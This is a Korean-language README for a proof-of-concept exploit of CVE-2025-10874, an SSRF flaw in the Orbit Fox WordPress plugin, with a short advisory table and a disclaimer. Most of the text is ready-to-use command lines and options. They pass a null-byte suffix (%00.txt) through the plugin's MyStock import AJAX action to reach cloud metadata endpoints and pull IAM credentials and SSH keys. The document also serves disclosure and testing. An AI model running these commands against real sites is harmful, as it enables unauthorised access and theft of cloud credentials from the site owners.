
CVE-2025-10874에 대한 null byte 주입 우회를 통한 SSRF 시연

Orbit Fox WordPress 플러그인의 서버 측 요청 위조(SSRF) 취약점과 널 바이트 주입 우회를 시연하는 개념 증명 익스플로잇입니다.
상세 블로그 게시물: https://ryanmroth.com/articles/orbit-fox-ssrf
| 세부 항목 | 비고 |
|---|
| CVE ID: | CVE-2025-10874 |
| 영향을 받는 플러그인: | ThemeIsle의 Orbit Fox |
| 취약점 유형: | 서버 측 요청 위조(SSRF) (CWE-918) |
| CVSS 점수: | 5.5 (중간) |
| 필요 권한: | Author+ (WordPress Author 역할 이상 |
| 수정 버전 | 3.0.2+ |
Orbit Fox 플러그인의 MyStock 가져오기 기능에는 Author+ 권한을 가진 인증된 사용자가 WordPress 서버에서 임의의 HTTP 요청을 보낼 수 있게 하는 SSRF 취약점이 존재합니다. 이 취약점은 handle-request-mystock-import AJAX 액션에 존재하며, URL 매개변수를 제대로 검증하고 삭제하지 못합니다.
이 익스플로잇은 널 바이트 주입 우회(%00.txt)를 활용하여 URL 검증을 우회함으로써, 서버에서 접근 가능한 내부 메타데이터 서비스, 클라우드 제공업체 API 및 기타 네트워크 리소스에 접근할 수 있게 합니다.
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequests 라이브러리urllib3 라이브러리# 저장소 복제
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# 의존성 설치 (uv 사용)
uv sync
# 또는 pip 사용
pip install requests urllib3
# AWS 인스턴스 호스트 이름 추출 (기본 대상)
python orbit_fox_poc.py http://target.com -u author -p password123
# 사용자 지정 SSRF 대상 URL 지정
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# IAM 역할 자격 증명 추출
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# SSH 공개 키 추출
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# 널 바이트 우회 없이 테스트 (패치된 버전에서는 실패)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# 문제 해결을 위한 디버그 출력 활성화
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
positional arguments:
target 대상 WordPress URL (예: http://example.com)
required arguments:
-u, --username WordPress 사용자 이름 (Author+ 역할 필요)
-p, --password WordPress 비밀번호
optional arguments:
-h, --help 도움말 메시지 표시 및 종료
-s, --ssrf-url SSRF를 통해 요청할 URL
(기본값: http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte 널 바이트 우회 비활성화 (기본 SSRF만 테스트)
--debug 문제 해결을 위한 디버그 출력 활성화
%00.txt를 추가하여 검증 우회handle-request-mystock-import AJAX 엔드포인트에 조작된 요청 전송handle-request-mystock-import 액션이 포함된 admin-ajax.php에 대한 요청이 취약점은 공급업체에 책임 있게 공개되었으며 Orbit Fox 버전 3.0.2에서 패치되었습니다. 이 개념 증명은 다음을 위해 제공됩니다:
승인된 보안 테스트 전용
이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 사용자는 다음을 준수해야 합니다:
저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
마지막 업데이트: 2025-10-06